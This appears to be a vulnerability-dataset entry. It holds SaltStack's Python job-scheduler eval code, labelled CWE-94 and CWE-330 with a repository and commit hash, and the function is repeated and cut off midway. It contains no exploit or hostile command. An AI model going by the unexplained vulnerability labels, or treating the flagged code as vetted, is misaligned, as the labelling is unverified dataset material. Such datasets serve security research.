                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            i in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'],
                                          dict):
                            data['_error'] = ('Pillar item ""whens"" '
                                              'must be a dict. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                        __when = self.opts['pillar']['whens'][i]
                        try:
                            when__ = dateutil_parser.parse(__when)
                        except ValueError:
                            data['_error'] = ('Invalid date string. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    elif ('whens' in self.opts['grains'] and
                          i in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'],
                                          dict):
                            data['_error'] = ('Grain ""whens"" must be dict.'
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        __when = self.opts['grains']['whens'][i]
                        try:
                            when__ = dateutil_parser.parse(__when)
                        except ValueError:
                            data['_error'] = ('Invalid date string. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    else:
                        try:
                            when__ = dateutil_parser.parse(i)
                        except ValueError:
                            data['_error'] = ('Invalid date string {0}. '
                                              'Ignoring job {1}.'.format(i, job))
                            log.error(data['_error'])
                            return data

                    _when.append(when__)

                if data['_splay']:
                    _when.append(data['_splay'])

                # Sort the list of ""whens"" from earlier to later schedules
                _when.sort()

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_when):
                    if len(_when) > 1:
                        if i < now - loop_interval:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                if _when:
                    # Grab the first element, which is the next run time or
                    # last scheduled time in the past.
                    when = _when[0]

                    if '_run' not in data:
                        # Prevent run of jobs from the past
                        data['_run'] = bool(when >= now - loop_interval)

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    data['_next_scheduled_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not run and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

                elif not data.get('_run', False):
                    data['_next_fire_time'] = None
                    data['_continue'] = True

            else:
                if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                        data['when'] in self.opts['pillar']['whens']):
                    if not isinstance(self.opts['pillar']['whens'], dict):
                        data['_error'] = ('Pillar item ""whens"" must be dict.'
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    _when = self.opts['pillar']['whens'][data['when']]
                    try:
                        when = dateutil_parser.parse(_when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                elif ('whens' in self.opts['grains'] and
                      data['when'] in self.opts['grains']['whens']):
                    if not isinstance(self.opts['grains']['whens'], dict):
                        data['_error'] = ('Grain ""whens"" must be dict. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    _when = self.opts['grains']['whens'][data['when']]
                    try:
                        when = dateutil_parser.parse(_when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    try:
                        when = dateutil_parser.parse(data['when'])
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                if when < now - loop_interval and \
                        not data.get('_run', False) and \
                        not data.get('run', False) and \
                        not data['_splay']:
                    data['_next_fire_time'] = None
                    data['_continue'] = True

                if '_run' not in data:
                    data['_run'] = True

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = when

                data['_next_scheduled_fire_time'] = when

                if data['_next_fire_time'] < when and \
                        not data['_run']:
                    data['_next_fire_time'] = when
                    data['_run'] = True

            return data

        def _handle_cron(job, data, loop_interval):
            '''
            Handle schedule item with cron
            '''
            if not _CRON_SUPPORTED:
                data['_error'] = ('Missing python-croniter. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if data['_next_fire_time'] is None:
                # Get next time frame for a ""cron"" job if it has been never
                # executed before or already executed in the past.
                try:
                    data['_next_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                    data['_next_scheduled_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                except (ValueError, KeyError):
                    data['_error'] = ('Invalid cron string. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

                # If next job run is scheduled more than 1 minute ahead and
                # configured loop interval is longer than that, we should
                # shorten it to get our job executed closer to the beginning
                # of desired time.
                interval = (now - data['_next_fire_time']).total_seconds()
                if interval >= 60 and interval < self.loop_interval:
                    self.loop_interval = interval
            return data

        def _handle_run_explicit(data, loop_interval):
            '''
            Handle schedule item with run_explicit
            '''
            _run_explicit = []
            for _run_time in data['run_explicit']:
                if isinstance(_run_time, datetime.datetime):
                    _run_explicit.append(_run_time)
                else:
                    _run_explicit.append(datetime.datetime.strptime(_run_time['time'],
                                                                    _run_time['time_fmt']))
            data['run'] = False

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_run_explicit):
                if len(_run_explicit) > 1:
                    if i < now - loop_interval:
                        _run_explicit.remove(i)

            if _run_explicit:
                if _run_explicit[0] <= now < _run_explicit[0] + loop_interval:
                    data['run'] = True
                    data['_next_fire_time'] = _run_explicit[0]
            return data

        def _handle_skip_explicit(data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            data['run'] = False

            _skip_explicit = []
            for _skip_time in data['skip_explicit']:
                if isinstance(_skip_time, datetime.datetime):
                    _skip_explicit.append(_skip_time)
                else:
                    _skip_explicit.append(datetime.datetime.strptime(_skip_time['time'],
                                                                     _skip_time['time_fmt']))

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_skip_explicit):
                if i < now - loop_interval:
                    _skip_explicit.remove(i)

            if _skip_explicit:
                if _skip_explicit[0] <= now <= (_skip_explicit[0] + loop_interval):
                    if self.skip_function:
                        data['run'] = True
                        data['func'] = self.skip_function
                    else:
                        data['_skip_reason'] = 'skip_explicit'
                        data['_skipped_time'] = now
                        data['_skipped'] = True
                        data['run'] = False
            else:
                data['run'] = True
            return data

        def _handle_skip_during_range(job, data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['skip_during_range'], dict):
                    try:
                        start = dateutil_parser.parse(data['skip_during_range']['start'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for start in '
                                          'skip_during_range. Ignoring '
                                          'job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    try:
                        end = dateutil_parser.parse(data['skip_during_range']['end'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for end in '
                                          'skip_during_range. Ignoring '
                                          'job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                    # Check to see if we should run the job immediately
                    # after the skip_during_range is over
                    if 'run_after_skip_range' in data and \
                       data['run_after_skip_range']:
                        if 'run_explicit' not in data:
                            data['run_explicit'] = []
                        # Add a run_explicit for immediately after the
                        # skip_during_range ends
                        _run_immediate = (end + loop_interval).strftime('%Y-%m-%dT%H:%M:%S')
                        if _run_immediate not in data['run_explicit']:
                            data['run_explicit'].append({'time': _run_immediate,
                                                         'time_fmt': '%Y-%m-%dT%H:%M:%S'})

                    if end > start:
                        if start <= now <= end:
                            if self.skip_function:
                                data['run'] = True
                                data['func'] = self.skip_function
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['_skipped_time'] = now
                                data['_skipped'] = True
                                data['run'] = False
                        else:
                            data['run'] = True
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger than '
                                          'start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data
            return data

        def _handle_range(job, data):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['range'], dict):
                    try:
                        start = dateutil_parser.parse(data['range']['start'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for start. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    try:
                        end = dateutil_parser.parse(data['range']['end'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for end.'
                                          ' Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    if end > start:
                        if 'invert' in data['range'] and data['range']['invert']:
                            if now <= start or now >= end:
                                data['run'] = True
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['run'] = False
                        else:
                            if start <= now <= end:
                                data['run'] = True
                            else:
                                if self.skip_function:
                                    data['run'] = True
                                    data['func'] = self.skip_function
                                else:
                                    data['_skip_reason'] = 'not_in_range'
                                    data['run'] = False
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger '
                                          'than start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary.'
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

        def _handle_after(job, data):
            '''
            Handle schedule item with after
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                after = dateutil_parser.parse(data['after'])

                if after >= now:
                    log.debug(
                        'After time has not passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'after_not_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        def _handle_until(job, data):
            '''
            Handle schedule item with until
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                until = dateutil_parser.parse(data['until'])

                if until <= now:
                    log.debug(
                        'Until time has passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'until_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        if 'skip_during_range' in schedule:
            self.skip_during_range = schedule['skip_during_range']
        if 'enabled' in schedule:
            self.enabled = schedule['enabled']

        _hidden = ['enabled',
                   'skip_function',
                   'skip_during_range']
        for job, data in six.iteritems(schedule):

            # Skip anything that is a global setting
            if job in _hidden:
                continue

            # Clear these out between runs
            for item in ['_continue',
                         '_error',
                         '_skip_reason']:
                if item in data:
                    del data[item]
            run = False

            if not isinstance(data, dict):
                log.error(
                    'Scheduled job ""%s"" should have a dict value, not %s',
                    job, type(data)
                )
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: %s in scheduled job %s.',
                    func, job
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = datetime.datetime.now()

            # Used for quick lookups when detecting invalid option
            # combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error(
                    'Unable to use ""%s"" options together. Ignoring.',
                    '"", ""'.join(scheduling_elements)
                )
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error(
                    'Unable to use ""%s"" with ""%s"" options. Ignoring',
                    '"", ""'.join(time_elements),
                    '"", ""'.join(scheduling_elements)
                )
                continue

            if 'run_explicit' in data:
                data = _handle_run_explicit(data, loop_interval)
                run = data['run']

            if True in [True for item in time_elements if item in data]:
                data = _handle_time_elements(data)
            elif 'once' in data:
                data = _handle_once(job, data, loop_interval)
            elif 'when' in data:
                data = _handle_when(job, data, loop_interval)
            elif 'cron' in data:
                data = _handle_cron(job, data, loop_interval)
            else:
                continue

            # An error occurred so we bail out
            if '_error' in data and data['_error']:
                continue

            seconds = int((data['_next_fire_time'] - now).total_seconds())

            if 'splay' in data:
                # Got ""splay"" configured, make decision to run a job based on that
                if not data['_splay']:
                    # Try to add ""splay"" time only if next job fire time is
                    # still in the future. We should trigger job run
                    # immediately otherwise.
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + datetime.timedelta(seconds=splay):
                        log.debug('schedule.handle_func: Adding splay of '
                                  '%s seconds to next run.', splay)
                        data['_splay'] = data['_next_fire_time'] + datetime.timedelta(seconds=splay)
                        if 'when' in data:
                            data['_run'] = True
                    else:
                        run = True

                if data['_splay']:
                    # The ""splay"" configuration has been already processed, just use it
                    seconds = data['_splay'] - now
                    seconds = (data['_splay'] - now).total_seconds()

            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif 'once' in data:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'range' in data:
                    data = _handle_range(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                # If there is no job specific skip_during_range available,
                # grab the global which defaults to None.
                if 'skip_during_range' not in data and self.skip_during_range:
                    data['skip_during_range'] = self.skip_during_range

                if 'skip_during_range' in data and data['skip_during_range']:
                    data = _handle_skip_during_range(job, data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'skip_explicit' in data:
                    data = _handle_skip_explicit(data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'until' in data:
                    data = _handle_until(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

                if 'after' in data:
                    data = _handle_after(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

            # If the job item has continue, then we set run to False
            # so the job does not run but we still get the important
            # information calculated, eg. _next_fire_time
            if '_continue' in data and data['_continue']:
                run = False

            # If there is no job specific enabled available,
            # grab the global which defaults to True.
            if 'enabled' not in data:
                data['enabled'] = self.enabled

            # Job is disabled, set run to False
            if 'enabled' in data and not data['enabled']:
                log.debug('Job: %s is disabled', job)
                data['_skip_reason'] = 'disabled'
                run = False

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                # Job is disabled, continue
                if 'enabled' in data and not data['enabled']:
                    log.debug('Job: %s is disabled', job)
                    data['_skip_reason'] = 'disabled'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    continue

                if 'jid_include' not in data or data['jid_include']:
                    data['jid_include'] = True
                    log.debug('schedule: This job was scheduled with jid_include, '
                              'adding to cache (jid_include defaults to True)')
                    if 'maxrunning' in data:
                        log.debug('schedule: This job was scheduled with a max '
                                  'number of %s', data['maxrunning'])
                    else:
                        log.info('schedule: maxrunning parameter was not specified for '
                                 'job %s, defaulting to 1.', job)
                        data['maxrunning'] = 1

                if self.standalone:
                    data['run'] = run
                    data = self._check_max_running(func,
                                                   data,
                                                   self.opts,
                                                   now)
                    run = data['run']

                if run:
                    log.info('Running scheduled job: %s%s', job, miss_msg)

                    if multiprocessing_enabled:
                        thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                    else:
                        thread_cls = threading.Thread
                    proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                    if multiprocessing_enabled:
                        with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                            # Reset current signals before starting the process in
                            # order not to inherit the current signal handlers
                            proc.start()
                    else:
                        proc.start()

                    if multiprocessing_enabled:
                        proc.join()
            finally:
                # Only set _last_run if the job ran
                if run:
                    data['_last_run'] = now
                    if '_seconds' in data:
                        data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])
                    data['_splay'] = None

            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners","CWE-94, CWE-330",saltstack/salt,0e2e501b243fb13b6d1089d3956d945084f6223d,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param datetime now: Override current time with a datetime object instance``

        '''

        log.trace('==== evaluating schedule now %s =====', now)

        loop_interval = self.opts['loop_interval']
        if not isinstance(loop_interval, datetime.timedelta):
            loop_interval = datetime.timedelta(seconds=loop_interval)

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        def _handle_time_elements(data):
            '''
            Handle schedule item with time elements
            seconds, minutes, hours, days
            '''
            if '_seconds' not in data:
                interval = int(data.get('seconds', 0))
                interval += int(data.get('minutes', 0)) * 60
                interval += int(data.get('hours', 0)) * 3600
                interval += int(data.get('days', 0)) * 86400

                data['_seconds'] = interval

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

                if interval < self.loop_interval:
                    self.loop_interval = interval

                data['_next_scheduled_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])

            return data

        def _handle_once(job, data, loop_interval):
            '''
            Handle schedule item with once
            '''
            if data['_next_fire_time']:
                if data['_next_fire_time'] < now - loop_interval or \
                   data['_next_fire_time'] > now and \
                   not data['_splay']:
                    data['_continue'] = True

            if not data['_next_fire_time'] and \
                    not data['_splay']:
                once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                try:
                    once = datetime.datetime.strptime(data['once'],
                                                      once_fmt)
                except (TypeError, ValueError):
                    data['_error'] = ('Date string could not '
                                      'be parsed: {0}, {1}. '
                                      'Ignoring job {2}.'.format(
                                          data['once'], once_fmt, job))
                    log.error(data['_error'])
                    return data
                # If _next_fire_time is less than now, continue
                if once < now - loop_interval:
                    data['_continue'] = True
                else:
                    data['_next_fire_time'] = once
                    data['_next_scheduled_fire_time'] = once
            return data

        def _handle_when(job, data, loop_interval):
            '''
            Handle schedule item with when
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if isinstance(data['when'], list):
                _when = []
                for i in data['when']:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            i in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'],
                                          dict):
                            data['_error'] = ('Pillar item ""whens"" '
                                              'must be a dict. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                        __when = self.opts['pillar']['whens'][i]
                        try:
                            when__ = dateutil_parser.parse(__when)
                        except ValueError:
                            data['_error'] = ('Invalid date string. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    elif ('whens' in self.opts['grains'] and
                          i in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'],
                                          dict):
                            data['_error'] = ('Grain ""whens"" must be dict.'
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                        __when = self.opts['grains']['whens'][i]
                        try:
                            when__ = dateutil_parser.parse(__when)
                        except ValueError:
                            data['_error'] = ('Invalid date string. '
                                              'Ignoring job {0}.'.format(job))
                            log.error(data['_error'])
                            return data
                    else:
                        try:
                            when__ = dateutil_parser.parse(i)
                        except ValueError:
                            data['_error'] = ('Invalid date string {0}. '
                                              'Ignoring job {1}.'.format(i, job))
                            log.error(data['_error'])
                            return data

                    _when.append(when__)

                if data['_splay']:
                    _when.append(data['_splay'])

                # Sort the list of ""whens"" from earlier to later schedules
                _when.sort()

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_when):
                    if len(_when) > 1:
                        if i < now - loop_interval:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                if _when:
                    # Grab the first element, which is the next run time or
                    # last scheduled time in the past.
                    when = _when[0]

                    if '_run' not in data:
                        # Prevent run of jobs from the past
                        data['_run'] = bool(when >= now - loop_interval)

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    data['_next_scheduled_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not run and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

                elif not data.get('_run', False):
                    data['_next_fire_time'] = None
                    data['_continue'] = True

            else:
                if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                        data['when'] in self.opts['pillar']['whens']):
                    if not isinstance(self.opts['pillar']['whens'], dict):
                        data['_error'] = ('Pillar item ""whens"" must be dict.'
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    _when = self.opts['pillar']['whens'][data['when']]
                    try:
                        when = dateutil_parser.parse(_when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                elif ('whens' in self.opts['grains'] and
                      data['when'] in self.opts['grains']['whens']):
                    if not isinstance(self.opts['grains']['whens'], dict):
                        data['_error'] = ('Grain ""whens"" must be dict. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    _when = self.opts['grains']['whens'][data['when']]
                    try:
                        when = dateutil_parser.parse(_when)
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    try:
                        when = dateutil_parser.parse(data['when'])
                    except ValueError:
                        data['_error'] = ('Invalid date string. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                if when < now - loop_interval and \
                        not data.get('_run', False) and \
                        not data.get('run', False) and \
                        not data['_splay']:
                    data['_next_fire_time'] = None
                    data['_continue'] = True

                if '_run' not in data:
                    data['_run'] = True

                if not data['_next_fire_time']:
                    data['_next_fire_time'] = when

                data['_next_scheduled_fire_time'] = when

                if data['_next_fire_time'] < when and \
                        not data['_run']:
                    data['_next_fire_time'] = when
                    data['_run'] = True

            return data

        def _handle_cron(job, data, loop_interval):
            '''
            Handle schedule item with cron
            '''
            if not _CRON_SUPPORTED:
                data['_error'] = ('Missing python-croniter. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data

            if data['_next_fire_time'] is None:
                # Get next time frame for a ""cron"" job if it has been never
                # executed before or already executed in the past.
                try:
                    data['_next_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                    data['_next_scheduled_fire_time'] = croniter.croniter(data['cron'], now).get_next(datetime.datetime)
                except (ValueError, KeyError):
                    data['_error'] = ('Invalid cron string. '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

                # If next job run is scheduled more than 1 minute ahead and
                # configured loop interval is longer than that, we should
                # shorten it to get our job executed closer to the beginning
                # of desired time.
                interval = (now - data['_next_fire_time']).total_seconds()
                if interval >= 60 and interval < self.loop_interval:
                    self.loop_interval = interval
            return data

        def _handle_run_explicit(data, loop_interval):
            '''
            Handle schedule item with run_explicit
            '''
            _run_explicit = []
            for _run_time in data['run_explicit']:
                if isinstance(_run_time, datetime.datetime):
                    _run_explicit.append(_run_time)
                else:
                    _run_explicit.append(datetime.datetime.strptime(_run_time['time'],
                                                                    _run_time['time_fmt']))
            data['run'] = False

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_run_explicit):
                if len(_run_explicit) > 1:
                    if i < now - loop_interval:
                        _run_explicit.remove(i)

            if _run_explicit:
                if _run_explicit[0] <= now < _run_explicit[0] + loop_interval:
                    data['run'] = True
                    data['_next_fire_time'] = _run_explicit[0]
            return data

        def _handle_skip_explicit(data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            data['run'] = False

            _skip_explicit = []
            for _skip_time in data['skip_explicit']:
                if isinstance(_skip_time, datetime.datetime):
                    _skip_explicit.append(_skip_time)
                else:
                    _skip_explicit.append(datetime.datetime.strptime(_skip_time['time'],
                                                                     _skip_time['time_fmt']))

            # Copy the list so we can loop through it
            for i in copy.deepcopy(_skip_explicit):
                if i < now - loop_interval:
                    _skip_explicit.remove(i)

            if _skip_explicit:
                if _skip_explicit[0] <= now <= (_skip_explicit[0] + loop_interval):
                    if self.skip_function:
                        data['run'] = True
                        data['func'] = self.skip_function
                    else:
                        data['_skip_reason'] = 'skip_explicit'
                        data['_skipped_time'] = now
                        data['_skipped'] = True
                        data['run'] = False
            else:
                data['run'] = True
            return data

        def _handle_skip_during_range(job, data, loop_interval):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}.'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['skip_during_range'], dict):
                    try:
                        start = dateutil_parser.parse(data['skip_during_range']['start'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for start in '
                                          'skip_during_range. Ignoring '
                                          'job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    try:
                        end = dateutil_parser.parse(data['skip_during_range']['end'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for end in '
                                          'skip_during_range. Ignoring '
                                          'job {0}.'.format(job))
                        log.error(data['_error'])
                        return data

                    # Check to see if we should run the job immediately
                    # after the skip_during_range is over
                    if 'run_after_skip_range' in data and \
                       data['run_after_skip_range']:
                        if 'run_explicit' not in data:
                            data['run_explicit'] = []
                        # Add a run_explicit for immediately after the
                        # skip_during_range ends
                        _run_immediate = (end + loop_interval).strftime('%Y-%m-%dT%H:%M:%S')
                        if _run_immediate not in data['run_explicit']:
                            data['run_explicit'].append({'time': _run_immediate,
                                                         'time_fmt': '%Y-%m-%dT%H:%M:%S'})

                    if end > start:
                        if start <= now <= end:
                            if self.skip_function:
                                data['run'] = True
                                data['func'] = self.skip_function
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['_skipped_time'] = now
                                data['_skipped'] = True
                                data['run'] = False
                        else:
                            data['run'] = True
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger than '
                                          'start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary '
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data
            return data

        def _handle_range(job, data):
            '''
            Handle schedule item with skip_explicit
            '''
            if not _RANGE_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
                return data
            else:
                if isinstance(data['range'], dict):
                    try:
                        start = dateutil_parser.parse(data['range']['start'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for start. '
                                          'Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    try:
                        end = dateutil_parser.parse(data['range']['end'])
                    except ValueError:
                        data['_error'] = ('Invalid date string for end.'
                                          ' Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                    if end > start:
                        if 'invert' in data['range'] and data['range']['invert']:
                            if now <= start or now >= end:
                                data['run'] = True
                            else:
                                data['_skip_reason'] = 'in_skip_range'
                                data['run'] = False
                        else:
                            if start <= now <= end:
                                data['run'] = True
                            else:
                                if self.skip_function:
                                    data['run'] = True
                                    data['func'] = self.skip_function
                                else:
                                    data['_skip_reason'] = 'not_in_range'
                                    data['run'] = False
                    else:
                        data['_error'] = ('schedule.handle_func: Invalid '
                                          'range, end must be larger '
                                          'than start. Ignoring job {0}.'.format(job))
                        log.error(data['_error'])
                        return data
                else:
                    data['_error'] = ('schedule.handle_func: Invalid, range '
                                      'must be specified as a dictionary.'
                                      'Ignoring job {0}.'.format(job))
                    log.error(data['_error'])
                    return data

        def _handle_after(job, data):
            '''
            Handle schedule item with after
            '''
            if not _WHEN_SUPPORTED:
